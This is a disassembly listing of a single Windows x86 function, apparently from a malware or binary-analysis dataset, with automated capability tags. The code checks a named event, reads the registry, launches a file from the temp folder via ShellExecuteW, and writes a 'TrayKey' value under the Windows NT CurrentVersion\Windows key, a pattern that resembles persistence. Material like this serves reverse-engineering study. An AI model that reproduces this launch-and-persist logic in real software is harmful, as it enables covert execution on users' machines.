Function at 0x401820
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x2fe]
push ecx
mov word [ebp - 0x300], ax
call fcn.00408150
xor edx, edx
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x2a], eax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov eax, 0x417a00
mov word [ebp - 0x2c], dx
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0x104
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401897
mov esi, dword [sym.imp.KERNEL32.dll_OpenEventW]
sub eax, edx
sar eax, 1
je 0x4018c4
push 0x417a00
push 0
push 0x20000
call esi
test eax, eax
jne 0x401abf
lea eax, [ebp - 0x304]
push eax
push 0xf003f
push 0
push 0x413748
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401939
lea ecx, [ebp - 0x30c]
push ecx
mov ecx, dword [ebp - 0x304]
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x310]
push eax
push 0
push 0x4137b4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40192c
lea edx, [ebp - 0x2c]
push edx
push eax
push 0x20000
call esi
test eax, eax
je 0x40192c
mov eax, dword [ebp - 0x304]
push eax
jmp 0x401ab9
mov ecx, dword [ebp - 0x304]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x300]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, 0x417a00
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401953
sub eax, edx
sar eax, 1
mov edx, 0x417c78
jne 0x401996
push 0x4137c4
push 0x4137d0
call fcn.00401ce0
add esp, 8
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + str.Hose]
mov word [ebp + eax - 0x2c], cx
add eax, 2
test cx, cx
jne 0x401980
jmp 0x4019c4
push 0x417a00
push 0x4137ec
call fcn.00401ce0
add esp, 8
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [eax + 0x417a00]
mov word [ebp + eax - 0x2c], cx
add eax, 2
test cx, cx
jne 0x4019b0
push 0x417c78
lea eax, [ebp - 0x300]
push 0x104
push eax
call fcn.00404807
add esp, 0xc
cmp dword [0x415f10], 3
jne 0x4019f2
mov ebx, 0x2b66
mov edi, 0x41387c
jmp 0x4019fc
mov ebx, 0x2b70
mov edi, 0x41388c
call fcn.00401ae0
test eax, eax
jne 0x401abf
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x4137fc
lea ecx, [ebp - 0x300]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1a
mov esi, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
lea edi, [ebp - 0xf8]
rep movsd dword es:[edi], dword [esi]
push 0x5e
lea edx, [ebp - 0x8e]
push 0
push edx
movsw word es:[edi], word [esi]
call fcn.00408150
add esp, 0xc
lea eax, [ebp - 0x304]
push eax
push 3
push 0
lea ecx, [ebp - 0xf8]
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401abf
lea eax, [ebp - 0x2c]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401a80
mov ecx, dword [ebp - 0x304]
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x2c]
push eax
push 1
push 0
push str.TrayKey
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401abf
mov edx, dword [ebp - 0x304]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004047f8
mov esp, ebp
pop ebp
ret